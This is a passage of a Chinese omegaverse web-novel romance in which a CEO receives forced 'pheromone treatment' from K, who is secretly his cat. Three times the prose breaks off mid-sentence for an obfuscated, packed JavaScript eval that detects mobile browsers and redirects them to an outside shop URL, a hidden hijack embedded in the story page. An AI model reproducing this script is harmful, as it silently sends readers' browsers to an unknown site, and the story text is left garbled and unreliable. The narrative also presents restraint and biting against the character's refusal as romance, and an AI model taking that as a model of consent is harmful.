“这就不行了吗?我们才刚刚开始啊!”K霸道的挤进对方两腿之间,一手扣着蒋晗的细腰将他按向自己怀里,另一手撑在桌上握着鼠标,有一下没一下的点击着。 男人修长手指顺着对方的腰线,隔着薄薄的家居服一点点滑过,所过之处像是点燃了一串接一串细小的火苗。 蒋晗浑身绷紧,手指死死抓住桌沿,那种羞辱感,愤怒感,还有越来越难以忽视的身体反应交织在一起,让他几乎要爆炸。 “受不了,你可以抱我。”温润的呼吸喷洒在耳廓上,K的唇缓缓向下,又在那细嫩的侧颈流连,终于忍不住,一口咬了下去。 “别……唔!……”蒋晗咬牙隐忍一声低喘,抬手条件反射的死死抓住K的手臂,手指用力到几乎快要扣进对方身体里。 极具侵略性的信息素在这一刻变得更加浓郁,似乎不再只是单纯的安抚,更像是顶级掠食者某种无形的宣告和占有,霸占着眼前的猎物每一寸防线。 蒋晗张了张嘴却发不出声音,身体被对方信息素压制而不受控制的颤抖,奈何心底深处却在拼命想要迎合。 他的手还紧紧扣着身前的男人,整个人都埋头在他宽厚有力的胸膛里,因为疼痛和信息素被安抚的舒爽感,让他忍不住一阵一阵的抽咽低喘。 不知过了多久,K终于停下动作,犬齿从那块敏感的腺体上移开。 “学会了吗?” 不知是不是错觉,蒋晗似乎觉得K的气息也有些不稳。 他努力想要抬起头,却被对方又按进怀里。 “没学会也没关系,蒋总不需要学会这些。” 无形的信息素渐渐褪去,K把人抱坐回了座椅里。 蒋晗脱力的靠在椅背上轻轻喘息着,脸色潮红眼尾湿润,家居服领口也在挣扎中扯开了几个扣子,露出一小片泛红的锁骨。 K向后退开一步,开始整理自己稍有凌乱的衣袖,冰蓝色的眼睛扫过面前的美人迷离又狼狈的模样,神色微动。 “好点了吗,蒋总?”K又恢复了他玩世不恭的痞样,吊儿郎当的说了一句:“今天的治疗结束,你叔父那边,暂时也动不了你。” “三天后,同一时间。”在开门离开前,K回过头,目光在蒋晗潮红的脸上停留一瞬,意有所指,“希望蒋总,今晚能睡个好觉。” 别墅里重新恢复了安静,只剩下蒋晗一个人和满室尚未散尽的霸道气息。 蒋晗瘫在椅子上,久久没有动弹,身体深处还残留着被强行安抚后的虚脱和快感,以及那些触碰后留下的挥之不去的热度。 “混蛋……” “迟早我鲨了你……” 不知过了多久,蒋晗才勉强站起身,拖着有些虚浮的脚步走到宠物房门口,解开了电子锁。 房间里,那只银白小猫正趴在猫窝里,听到动静懒洋洋的抬起头,“喵”了一声,看起来像是睡了一觉刚醒。 蒋晗走过去将小猫紧紧抱在怀里,把脸埋进那片柔软的绒毛里,深深呼吸。 - 卧室里只亮着一盏暖黄的床头灯,蒋晗待自己冷静下来之后,冲进浴室里把自己从头到脚洗了三遍,那股霸道又诱人的气息才多少消散了点。 但是只要一闭上眼,脑海里就会自动回放书房里那荒唐的一幕。 K宽大的手掌覆在他的腰间,滚烫温润的嘴唇贴着他的肌肤,那种极具侵略性的信息素像一张密不透风的网,将他死死困住。 “可恶……” 纤弱的男人赌气的躺回床上,一把抱过一旁的小猫。 “煤球,委屈你了,你不知道那个K有多变态!” “又变态又自恋!” “他说我们技术部都是垃圾,怎么着,就他会是吗?显着他了是吗?有什么了不起的!” 【……】 “他除了那张脸还能看,各方面技术……也确实可以……还有什么优点?”蒋晗愤愤说着。 “煤球,你千万不能学他,知道吗?你要做一只有礼貌、不随便闯别人家、不随便碰别人的好猫!” 说完,蒋晗像是寻求认同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265363|198095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般把小猫举到面前,在它毛茸茸的脑袋上重重亲了一口,又凑过去亲了亲它粉嫩的耳朵。 “还是我的煤球最好了,又乖又软,永远陪着我。” 小猫被他亲得脑袋往后仰了仰,冰蓝色的兽瞳里闪过一丝极其复杂的情绪。 【骂得真脏。】 【亲得很爽。】 【可以忍。】 大概是骂累了,心里的郁气也散了不少,蒋晗将小猫放在一旁,“好了,睡觉吧。” 平时煤球都会乖乖睡在他身边的空位上,反正床也够大,但今天,这猫似乎格外霸道,刚被放到床上,又径直跳上了蒋晗的枕头。 蒋晗无奈得往旁边挪了挪,把大半个枕头都让给了猫,自己只委屈地枕着一个角。 【枕头,衣服,床。】 【很快,连同你这个人……】 【都会染上我得气味,成为我得所有物。】 次日一早,蒋晗醒来来到客厅,正准备接杯水喝,偏头看见了茶几上那张黑金卡。 昨晚他要给K的那张息事宁人的黑金卡,K看都不看,还原封不动的放在桌上。 煤球不知道什么时候也跟着出来了,跳上沙发,随着男人的目光看向茶几上那张银行卡。 蒋晗喝完了水,才愤恨的点着那张银行卡,开口说道:“煤球,看到了吗,这就是虚伪的男人,钱都不要?他哪来的自信?” “他们天穹科技虽然技术好,但我不信他比我有钱!” “我给他的钱他连看都不看一眼,他瞧不起谁呢!” “早晚有一天他会知道,什么是金钱的力量!” “走,煤球,吃饭,M9和牛!” “我的猫都比他吃得好!” 【……】 似乎是带着点报复性心理,蒋晗彻底开启了总裁式投喂,向煤球充分展示了什么叫做金钱的力量。 在他二十三年的人生信条里,没有什么是物质无法打动的,如果有,那就是给的还不够。 从冰箱里翻出M9和牛,放进烤箱里叮了一会,随后放入小猫那专属的水晶餐盘里,推到了它面前。 蒋晗觉得这事稳了。 “吃吧。”说完,期待的看着小猫。 【这就完了?】 【这是什么预制猫饭,礼貌吗?】 煤球低头看着那一盘据说是空运过来的顶级M9,只是抬了下眼皮,冰蓝色兽瞳淡淡的瞥了蒋晗一眼,不屑的转过身慢悠悠的迈着猫步,走了。 “不想吃?”蒋晗有些意外,立马掏出手机发信息给管家。 不一会,别墅后山顶的停机坪上传来螺旋桨嗡鸣声,管家接过直升机上运下来的一个精致小恒温箱,送到了蒋晗门外。 【呦,这又是在干什么?】 蒋晗取出小箱子里的顶级黑金鱼子酱,淋在M9和牛上,走到煤球面前。 “现在呢?”语气里带了几分这下你总该满意了吧的笃定。 小猫粉色的鼻尖动了动,连闻都不愿意去闻一下,甚至懒得再多看一眼,扭过头,优雅的开始舔自己的爪子。 蒋晗:…… 【就这?】 【盒--推!】 8. 第 8 章 “你不吃?” “煤球,你知道这多少钱吗?” 蒋晗有些惊讶,毕竟没有一只小馋猫能抵挡得住美食的诱惑,还是这种高级美食。 煤球不理他,依旧专心致志的舔毛。 蒋晗的太阳穴突突直跳,有点头疼。 他无奈笑笑,蹲下来看着他的猫:“这可是M9,很香的,小煤球。”说着,不死心的把盘子又往前推了推。 小猫似乎是被他烦到了,干脆跳下吧台凳,走到落地窗前,然后趴下,背对着蒋晗,用屁股表达自己的不屑。 蒋晗:…… “那你先喝点水吧,中午我再给你弄点别的吃。”蒋晗有点哭笑不得,将这一盘高级猫饭放到了门外的垃圾回收处,叫人来收走了。 没想到小猫真的会发脾气?可是它在气什么呢? 不过发起脾气来还挺软糯糯的,蛮可爱。 中午,蒋晗让人送来了蓝鳍金枪鱼大脂,用喷枪炙烤到完美的熟度,点缀上金箔。 煤球睡得正香,眼皮都没抬。 当晚,又叫人换了白松露配北海道扇贝,用高汤精心煨过。 煤球路过,绕开了,仿佛那是一坨障碍物。 蒋晗眼睁睁看着那些价值不菲的猫饭被嫌弃,最终的归宿只有门外的垃圾桶,而后被管家面不改色的收走。 小猫就那么懒洋洋地趴在蒋晗的书桌上,看着他处理公务,或者趴在他的枕头上,睡得天昏地暗,仿佛不是一只碳基生物,而是什么靠着特殊的东西就能活的神仙。 “你到底想吃什么啊小祖宗?前几天猫粮猫罐头不是吃得好好得吗?”蒋晗是真的有点慌了,这猫平时不是挺好养活吗?怎么今天突然变得这么难伺候? 然而他也终于后知后觉的明白,煤球大概也许可能,是在对他表示不满…… 可是他能给的都给了,甚至还可以再给,可它为什么要绝食呢? 这种无法用金钱掌控的局面,让我们身价过亿的蒋总,感到了久违的挫败感。 这世上还真有金钱搞不定的猫啊…… 他习惯了用金钱和地位去衡量一切,可这套规则在这个毛茸茸面前彻底失效了,一文不值! 【你不是依赖我需要我么?】 【就用这种粗俗的方法来定义我们的关系?】 【愚蠢的男人!】 【就会用钱来解决一切。】 煤球整整一天除了喝了几口蒋晗拿给它的VOSS矿泉水,愣是油米未进。 钱买不来它的胃口,地位换不来它的顺从,它只是安静的待在那里,用拒绝进食的方式,无声的挑战着蒋晗固有的认知。 直到夜深,某位总裁终于坐不住了,起身走进了那个除了烧水几乎不开火的中厨。 冰箱里倒是常备着一些营养师为他准备的简单食材,蒋晗翻了翻,找出了一块巴掌大的鸡胸肉,拆开包装,烧水,将那块肉扔进了沸水里。 没有放任何调料。 主要是因为他不懂煮饭。 很快,一股带着腥气的白水煮鸡胸肉味道在空旷的厨房里弥漫开来,蒋晗自己都觉得这味道寡淡得难以下咽。 他捞出鸡胸肉,用冷水冲凉,放在干净的盘子里,随后漂亮修长的手指一点一点顺着鸡肉的纹理将其撕成了细小的肉丝。 从小到大,就没有亲自下过厨! 这是他二十多年的人生里,第一次亲手为另一个活物准备食物。 稍顷,一筹莫展的男人端着那盘白水煮鸡丝走回书房,放在了他的小猫面前。 “吃点吧,你一天没吃东西了,小煤球,再这样下去你会生病的。”蒋晗有气无力的说道:“这个,你要是再不吃,我真的不知道该怎么办了。” “不吃东西会掉毛的,煤球,虽然那个混蛋说你掉毛,但我们不能真掉啊!” 书桌上,那团银白色的毛球终于缓缓睁开了眼睛,那双冰蓝色的兽瞳里映着眼前人苍白如纸满是冷汗的脸,以及那因为撕肉而被烫得微微发红的手指。 小猫低头看了眼盘子里那堆朴素到甚至寒酸的鸡丝,再次抬头,深深看了蒋晗一眼。 在这位自认为拿钱就能办事的总裁无力的注视下,小猫终于缓缓站起身,伸了个懒腰,不紧不慢走到盘子边,低下那颗高贵的头,慢条斯理的叼起了一根鸡丝,小口小口咀嚼起来。 看着煤球优雅进食的侧脸,蒋晗哭笑不得,也悄悄松了口气,他的猫终于不再绝食了。 只是他虽然身体不好,可终究也是蒋氏集团的总裁,身价千亿,到头来,竟然被一只猫拿捏得死死的……关键是,他心甘情愿! 看着煤球一口一口吃东西,蒋晗心里别提多踏实。 【这才像话。】 【我要的是你的亲力亲为,独一无二的关注。】 【是你心甘情愿的臣服。】 小猫吃完最后一口鸡肉丝,抬起头,用粉色的小舌头轻轻舔了舔男人的指尖。 蒋晗心里一下就软了,抱起小猫搂进怀里,一声声叫它: “煤球,小煤球……” “你一定要好好的,你要永远陪着我,不然我会很孤独的……” “我的小煤球……” 临睡前,蒋晗搂过小猫,亲了亲它毛茸茸的耳朵,忍不住又蹭了蹭它的肚皮,这才抱着猫睡去了。 淡淡的木质冷香无声无息的溢出,这一夜,蒋晗难得睡的安稳踏实,连半个梦都有。 【真是脆弱。】 【不过你要快点好起来,蒋晗。】 - 蒋晗坐在自家书房宽大的书桌后,面前屏幕闪烁着不同颜色的数据和图表,蓝光映在他苍白的脸上,眼下泛着淡淡的青黑。 已经连续四十八小时了。 集团正在遭遇一场蓄谋已久的商业围剿,几家不知名的境外空壳公司突然联手,同时从市场、供应链、舆论三个方向发起猛攻,股价在两天内跌了百分之十五,董事会的电话一个接一个,叔父那边更是蠢蠢欲动。 “蒋总,城南项目的合作方突然宣布中止谈判,转向与我们最大的竞争对手!” “董事会一会还要线上紧急会议,蒋副董已经到公司了!” 李森在电话里火急火燎的说着,蒋晗挤了挤眉心,烦躁的扯松了领带。,一句“知道了。”便挂断了电话,整个人向后仰进椅背,闭上眼睛。 疲惫像潮水般涌来,身体里那股因信息素紊乱而产生的虚浮感又开始作祟,莫名又想起早上那条陌生好吗发来的简短信息: 【今晚八点。】 没有署名,但不需要。 这个念头刚闪过,就传来别墅的电子锁被解开的系统声,蒋晗下意识的看了眼墙上的时钟,刚好八点。 “还在跟这堆垃圾死磕?” 很快,身材高大俊美的男人出现在书房门口。 K今天一身黑色的真丝衬衫,领口开得很大,露出一片冷白的胸膛和若隐若现的锁骨,他的袖口随意挽起,小臂的肌肉线条紧实流畅,那头银白色长发随意地散在腰背上,整个人透着一股无法形容的散漫与性/感,还有那股让人无法忽视的霸道的信息素味道。 蒋晗连眼皮都没抬一下,只是冷冷盯着屏幕,声音干涩:“你的自动开锁技能如果能用在正道上,早就去吃皇粮了,何必来当贼。” “我来看看我的病人死了没有。”K的声音里含着浅浅笑意,随即迈着长腿走进来,“毕竟你要是死了,我去哪找这么合胃口的信息素?” “死不了。”蒋晗瞥了他一眼又收回目光,手指依旧在键盘上飞舞,“自己找地方坐,没空招待你,治疗暂时延后,我有事要处理。” 蒋晗的语气平静得连自己都有些意外。 不知从什么时候开始,他对这个不请自来的人已经如此习惯了吗? 习惯了他的突然出现,习惯了他的冷嘲热讽,习惯了和他的相处模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265364|198095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式,甚至习惯了他身上那股霸道又令人心悸的诱人味道,直至蛮横的占据了自己整个空间。 K挑了挑眉,径直走到书桌旁,意外的并没有像往常一样上来就动手动脚,而是抱臂站在一旁,居高临下的扫了一眼屏幕上那惨不忍睹的数据。 “昨天听你的助理说你在熬夜做数据,这就是我们蒋总熬了两个通宵做出来的方案?” K的神情难得出现一瞬的讶异,蒋晗以为他又要说自己这不行那不行,没想到对方却更阴阳怪气的一句: “可以了,蒋总一个人能做到这个地步,很不错了呢!” 蒋晗瞪了他一眼,继续盯着屏幕。 K轻笑一声走到他身后,微微俯身还抱着双臂看向屏幕,若有所思,随后开口道: “我说真的,你又不是搞技术的,做到这样已经很好了。” “但你的技术部明显在拆东墙补西墙,真是嫌蒋总的公司倒闭得不够快啊!” “市场占有率不是他们这么算的,他们只考虑了对手在明面上的行动,完全忽略了那些藏在暗处的资本联动,看这里……”K说着,直接伸手握住了蒋晗握着鼠标的手。 蒋晗一惊,想抽回,却被对方更用力的按住。 “别动,看仔细。” 长发的男人操控着鼠标,神情难得专注认真,丝毫没有开玩笑调侃的意思,快速调出了几个隐藏在深处的漏洞。 蒋晗没有在抵抗,顺着他的目光盯着屏幕看,这才发现,他们一直监测的竞争对手背后竟然有同一批海外基金的注资痕迹,而这些资金就像一张无形的网,将整个围剿行动串联起来。 “所以我们从市场层面破局,一开始方向就错了。”蒋晗冷冷的声音传来。 K放开鼠标,双手直接环过身前的人,在键盘上敲击起来。 蒋晗看到他将那些零散的资金流向,和一些他看不懂的供应链异常波动的数据全部导入,紧接着屏幕上的图表开始疯狂重组刷新。 原本杂乱无章的线索在他的一顿操作下,对手内部的利益薄弱点很快被他一一标出。 “他们看上去也没那么齐心嘛。”K最后敲了下回车,站直了身子。 蒋晗不着边际的偏头瞥了他一眼,他当然知道自己的技术部给出的破局方案有问题,但连续两天的脑力透支已经让他的思维开始僵化,似乎就差那么一步,但他就是找不出。 真的只差一点点,就可以了。 此刻被K一针见血的点破,来不及多想,蒋晗立刻联系助理李森行动起来。 K挑了挑眉,神色轻松的走回到对面沙发上坐下,百无聊赖的把玩着桌上的一支钢笔,那双修长的手骨节分明,转笔的动作行云流水,他就这样一直盯着蒋晗,眼中意味深长。 【还蛮聪明的。】 【给他点了条路,自己就知道接下来怎么走了。】 蒋晗一步步修改着方案,有了头绪之后所有程序都顺畅了起来,竞争对手的行为模式被完全不同的角度一一解析,最终汇聚成一份完美的答案。 直到都做完了这些,蒋晗才从屏幕上稍稍移开些目光,他活动了一下发酸的肩膀,一抬眼,目光落入对面正注视着他的那双深邃眼眸。 书房里陷入微妙安静,仿佛只剩两人轻微的呼吸声。 窗外的夜色更深了,远处城市的光晕在玻璃上模糊成一片。 桌上的内线电话铃声打断了这刻微妙,蒋晗按下接听键,管家恭敬的声音传来: “蒋总,您一天没吃东西,需要准备宵夜吗?” 蒋晗扫了眼屏幕上的时间,已经快零点了。 一旦放松下来,身体上某些感官就开始放大,胃里一阵一阵痉挛似的抽痛。 何止今天没吃东西,从昨晚开始就只喝了一碗银耳燕窝而已。 “可以。”蒋晗淡淡应了一句,余光瞥了眼对面的男人,鬼使神差的又改了个口: “两份,清淡一点。” 9. 第 9 章 长发男人冰蓝色的眸子里闪过一丝微妙情绪,他挑挑眉,饶有兴趣的继续看着对面的人。 蒋晗被他看得有点别扭,终是忍不住冷冷一句:“看什么。” K露出一个顽劣笑意,开口却意外温柔,“嘴硬心软。” 管家将两碗晶莹剔透的虾仁云吞面送进来放在了书房门口,便在蒋晗示意下离开了。 蒋晗确实饿了,他把餐盘端进书房放在K面前的茶几上,拉过一把椅子坐在了他的对面。 “吃点东西。”说着,推了一碗到他面前,还状若不经意的帮他摆好了餐具。 “怕我下毒你可以不吃。”见对方没动,蒋晗没什么语调的嘲讽一句。 K笑了下,这才坐直了些凑到茶几前抬手拿起汤匙,有一下没一下的舀着碗里色泽鲜美透亮的汤汁,开口平静说了一句:“你怎么看?” 蒋晗慢条斯理的吃了个云吞,才道:“对方表面在打压我的市场份额,实际目标是逼我动海外的那笔应急资金。” K接着他的话:“一旦那笔钱被牵制,你叔父就可以在股东大会上给你惊喜了。” “这次是我的疏忽,供应链和资金的潜在风险,都被董事会那几个老狐狸掌控着,”蒋晗垂下眼,表情淡漠,“我孤军奋战,难免打不过他们。” “不过刚才蒋总做的,可是一个完全可控甚至留有反击余地的方案呢!”男人轻扬的声音传来。 蒋晗抬头看了他一眼,低头继续喝汤,开口平静又坦然,似乎觉得对方又在阴阳怪气自己,“我只是做出了破局方案,还要谢谢你的提点。” 他确实是一个人孤军奋战,集团里那么多人,那么大一个团队,看似各尽其职,可又有多少是真的在为集团做事呢? 又有多少已经被叔父渗透,大概还有极少一部分底层人保持中立,只想按月拿到薪水和奖金,回去解决养家糊口的难题。 没有人帮他,没有人给他指一条哪怕没用的路,连听听建议讨论方案的人都没有。 一个困住他近两天的死局,就在K的一句话中,被轻松盘活了。 K看似不经意的说话,却是深思熟虑后的确认结果。 即便讨厌他,蒋晗也不得不承认他能力上的顶级实力,这是对自己对技术部所有人的降维打击。 蒋晗小口小口优雅的吃着东西,空气中飘着云吞面的香气,还有那种若有若无彼此缠绕的信息素。 两人之间隔着半米不到的距离,近到蒋晗一抬头便能将那冰蓝色瞳孔尽收眼底,近到K能看清蒋晗眼下那片淡淡的乌青和漂亮的长到过分的睫毛。 向来把剑怒张的两个人难得平和又平静的坐下来吃了顿简单的宵夜,竟然还像同一战壕的战友一样正经的聊了会工作,坦述着集团这些阴谋阳谋。 没有了平时的防备和尖刺,此刻的蒋晗乖顺得像只被顺了毛的猫。 他卸下了防备专注又执拗的样子,他不服输的一遍遍修改方案的样子,他明明疲惫不堪却依旧强撑着要做到尽善尽美,哪怕手指已经因为长时间敲击而微微发红。 他偶尔因为卡住的思路而微微蹙起的眉头,又因为找到一个关键的数据而眼睛微亮。 他因为衬衫衣领微微敞开而露出的一小截白皙的侧颈,和那泛着诱人薄红的腺体。 所有一切,全都毫无保留的落在K的眼里。 长发俊美的男人视线在蒋晗身上停留了很久,直到心脏某个位置像是被什么东西轻轻撞了一下,才淡淡的收回目光。 不敢再看。 书房里安静了几秒,台灯的光线在两人之间划出一道暧昧的界限。 K舀着汤汁的手顿了顿,心里有点怪怪的,于是忍不住又抬起头,看着眼前这个脆弱的却偏偏竖起一身刺的人,想跟他说以后这些都可以跟我说,倒是没等他开口,蒋晗先淡淡的开了口。 “钱我会打到你的账户,按市场最高咨询费标准的三倍,不会让你白干。” 男人的脸色几乎是瞬间就冷了下来。 钱钱钱,又是钱。 这个人类的脑子里,除了钱就不能有点别的东西吗?! 刚才好不容易才渲染起来的温馨氛围,被这一句充满铜臭味的话瞬间割裂。 以为是纯粹的赞许,以为他认可了自己,以为他会慢慢臣服,原来都是自己以为的。 K觉得自己心里那点冒头的柔软此刻看起来有些滑稽,在这个男人眼里,为什么所有东西都可以用钱来标价,所有关系都可以用交易来定义? 抛开别的关系不说,就算交个朋友,也不行吗? “蒋晗。”K放下手里的汤匙,叫了他一声,冰蓝色的瞳孔里闪过一丝无助,随后无奈的轻轻叹了口气,“我看起来很缺钱?” “这是原则。”蒋晗也放下碗筷,坐直了身子对上他的视线,“我不喜欢欠人情。” “尤其是你的。” K冷笑一声,突然伸手扣住蒋晗的手腕,用力一拉。 蒋晗被迫站起来,膝盖撞到茶几角,整个人差点失重,紧接着就被眼前的男人一步跨过来,半拉半扯的出了书房径直朝卧室走去。 “放手!”蒋晗想要挣脱,然而只是徒劳,男人精健有力的身躯和某种顶级信息素的无形威压让他根本无力抵抗。 “该治疗了,蒋总。”K低声甚至带着点不满和堵气:“我不白拿钱。” 眼看来到自己卧室门口,蒋晗又挣扎了几下: “回去,今晚还在书房……” “你干什么……那是我的卧室!” “你不能进去!” 这段时间的信息素治疗不是在客厅,就是在书房,蒋晗从来不让他进自己的卧室。 可此时本就病弱的身体根本使不上力,只能任由对方把自己拽进了房间。 K随手关上门,一把将人甩在了那张宽大柔软的双人床上。 还没等蒋晗支起身子要说话,K已经欺身而上,膝盖强势挤进他的双腿之间,单手撑在他耳侧,将他死死禁锢在这片方寸之地。 “躺好。”K单手禁锢着他的两手按在头顶,另一手要去解他的衬衫扣子。 “蒋总喜欢就这样看着我,还是趴过去?” 强大的信息素无形倾泻而下,蒋晗被熏得浑身发软,侧颈的腺体突突直跳,本能地想要臣服。 不知道哪里来得力气,蒋晗猛地抬脚,一脚踹在K膝盖:“滚下去!” K冷不丁被他踹得后退了半步,愣了一下,气笑了:“你什么意思?” “字面意思!” 蒋晗撑着身体坐起来,喘着气瞪他,“我的床,只有我的猫可以上,你,不行!” “你的床,猫能上,我不能上?” K看着床上倔强傲娇又竖起一身刺的人,眼尾都因为发狠和恐惧而泛起薄红,他长长的睫毛微微颤抖,那种本能的想要自己来救赎他的欲望也被他咬牙隐忍克制住。 “在你眼里,我是连一只畜生都比不上啊。”K嘲讽一笑,仰了仰头活动了一下脖子,烦躁的边解领带边朝蒋晗走来。 “不让我上你的床是吧。” “我今天偏要上!” 说完,还不等对方反应,直接用领带毫不费力的将蒋晗双手捆在一起别在了身后,随即把人拎起来翻了个面又摔在了床上。 灯光昏暗的卧室里,两道破碎的信息素无形纠缠。 K将这位傲娇冰冷总裁按在床上,从背后欺身而上,俯身狠狠咬上了他侧颈的腺体处。 蒋晗疼得眼角溢出生理性泪水,强忍着面对顶级掠食者被激怒后的惩罚,死死咬着牙,不肯示弱。 浓郁的信息素顺着腺体强势涌入,梳理着蒋晗身体里紊乱的气息,他趴在床上,双手还被捆住别在身后,侧脸埋在枕头里,难掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265365|198095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声声喘息。 K从身后强行扳着他的下巴让他抬起头来,另一手要去扯他的衬衣,蒋晗倏然偏过头死死盯着他,眼尾也染上狠栗的红,大有一种你今天敢碰我我就敢跟你同归于尽的架势。 信息素的相互救赎似乎让两个人的身体状态都稍稍缓和了些。 长时间化成人形,K的气息也开始不稳起来,毕竟还没有完成彻底的蜕变,好在及时汲取了高匹配度的Alpha信息素。 被满足的舒适感和某种难以言说的失落交织在一起,K感觉自己的心脏有些闷闷的发疼,尤其看见身下的人这种不屈不卑看着自己的目光。 手腕上的力道松了,领带被解开。 K起身站在床边整理了一下微乱的领口,似是无声压抑着呼了口气,漠然开口道: “今天就到这,希望你抱着那只通人性的畜生时,别想我想得睡不着,蒋总。” 说完,拎起外套,大步流星地摔门而去。 随着大门合上的声响,别墅再次陷入死寂。 蒋晗翻过身脱力的瘫在床上,盯着天花板发愣,心跳快得有些失控。 那种强大到对他来说有着致命吸引力的信息素,顺着腺体在体内缓缓流窜,信息素衰竭症的症状被有效缓解。 极度渴望又要极度隐忍压抑的感觉让他实在不爽,蒋晗烦躁的抓了抓头发,强行把那个混蛋的身影赶出脑海。 不知过了多久,虚弱的男人终于支起身去捞过一旁的手机,远程控制电子锁打开了宠物房的门。 不一会,卧室的门被轻轻撞开一条小缝,一团银白色的小身影挤了进来。 “煤球……” 蒋晗开口声音还有些沙哑,他艰难的撑着身子靠在床头上,然而银白色小猫并没有像往日一样跳上床来到他的怀里,而是跳到了沙发里蹲坐下来幽幽的看着他。 不知道是不是自己的错觉,蒋晗觉得煤球看起来似乎很生气的样子? “怎么了煤球?不舒服吗?”说着,男人撑着虚弱的身子下了床,走到沙发旁把小猫抱了起来。 【……】 【凭什么……】 【凭什么我能上他的床,凭什么我又不能上他的床……】 【……¥%@#%¥】 小猫气鼓鼓的发出几声呼噜声,在男人的怀里挣了两下,再想下去,有点要猫格分裂。 “好了,别闹了……” “爸爸今天好累……我们睡吧。” 蒋晗有些困了,声音软软的,带着一丝鼻音,抱着小猫躺到了床上。 直到感觉抱着它的人呼吸渐渐平稳均匀,趴在怀里的小猫终于抬起小脑袋,爬到他怀里,在隐隐露出的锁骨上不轻不重的咬了一口。 蒋晗轻轻呢喃一声,抱着小猫转过身继续睡了。 月光下,那张脸白皙精致,嘴唇因为刚才的隐忍克制被自己咬得微微红肿,看起来格外诱人。 银白小猫眯起眼睛,冰蓝色的兽瞳在月色下闪烁着幽光,紧接着对着那张总是语出伤人又总是让人欲罢不能的嘴唇,咬了下去。 “唔……” 睡梦中的男人皱了皱眉,小幅度偏了下头,发出了一声模糊的抗议。 然而小猫并没有松口,尖牙轻轻研磨着那两片柔软的唇瓣,直到尝到了一丝淡淡的血腥味。 Enigma霸道强势的信息素抚平了虚弱的男人身体里最后一丝淤堵的气息。 蒋晗在梦中感觉自己被一只巨大的野兽死死压住,逃无可逃。 那种窒息般的占有欲让他心悸,却又在深渊中感到了一丝诡异的安全感。 【这么热心肠,公司什么破事你都要亲力亲为,就是不管你自己。】 【不管你自己,那你倒是来管管我啊。】 【我也需要安慰好吗?】 【迟早有一天,我要你的心甘情愿。】 10. 第 10 章 次日上午,阳光透过落地窗洒进屋内,蒋晗穿着一身宽松的家居服,抱着小猫陷在客厅柔软的沙发里,懒洋洋的不想动。 信息素衰竭症带来的崩溃和绝望已经烟消云散,身体里每个细胞都透着轻松,他把脸埋在小猫柔软温热的肚皮里,深呼吸了一口气。 “煤球……” “好累啊……” “你不知道那个K昨晚有多过分。” “畜生……他竟然一边治疗一边要……”蒋晗咬牙生生把想要说的话又咽了回去。 从K的傲慢说到K的擅作主张,又免不了他的畜生不如。 小猫全程安静的躺着,冰蓝色的眼睛半眯着,一副无欲无求任君吐槽的模样。 数落到最后,蒋晗自己都笑了,他抱起小猫,在它毛茸茸的脑袋上亲了一口,又亲了亲它粉嫩的耳朵。 “不过昨晚他确实也帮了大忙。”蒋晗轻声说,“虽然态度恶劣,但……算了,不夸他,免得他尾巴翘上天。” 怀里的小猫被他亲得耳朵抖了抖,最后一点脾气也没了,软软地瘫在了他的怀里。 一人一猫腻歪了一会儿,蒋晗突然心血来潮,捞过手机翻到前几天被煤球嫌弃的,各种高端美食被丢进垃圾桶的照片。 照片里小猫只有一个不屑走开的背影,调了调光线后,蒋晗把照片发到了自己私人社交帐号上。 标题:败给了原则。 发完之后,甚至还给自己改了个名,将一串随即数字的ID换成了:总裁的续命小黑炭。 他只是切换到新闻界面随意的刷了几分钟,再回到自己主页时,点赞和评论早已汹涌而入。 这个帖子因为过于昂贵的背景,以及限量版爱马仕餐具,还有隐约露出的千万级名画,外加那碗真的在发光的M9和牛,迅速被大数据推上了热搜。 评论区瞬间炸锅。 【卧槽!这盘子我见过,某奢侈品去年的限量款,一个盘子六位数!】 【M9和牛喂猫?博主还缺猫吗?读过大学那种!】 【只有我注意到那个背景里的画吗?那是真迹吧?博主到底是何许人也?】 很快,有眼尖的网友开始拿着放大镜深扒。 【等等!这个装修风格,还有那只手……虽然只露了一点点,但那个腕表……是不是去年财经杂志封面上那个蒋氏集团的蒋总?!】 【破案了!就是蒋晗!那个号称A市最高冷最不近人情的冰山总裁!】 【我记得他总是病怏怏冷冰冰的……天呐!私底下的蒋总居然是这样的?还会发这种抱怨的文字?有点可爱怎么回事!】 【反差萌!磕到了磕到了!】 【楼上我劝你冷静什么都磕只会害了你!】 蒋晗一条条翻看评论,嘴角不自觉地扬起。 “没想到还真有人看。” “那以后这就是你专属的领地,好不好,煤球?” “记录一下某只挑食小坏蛋的日常。” 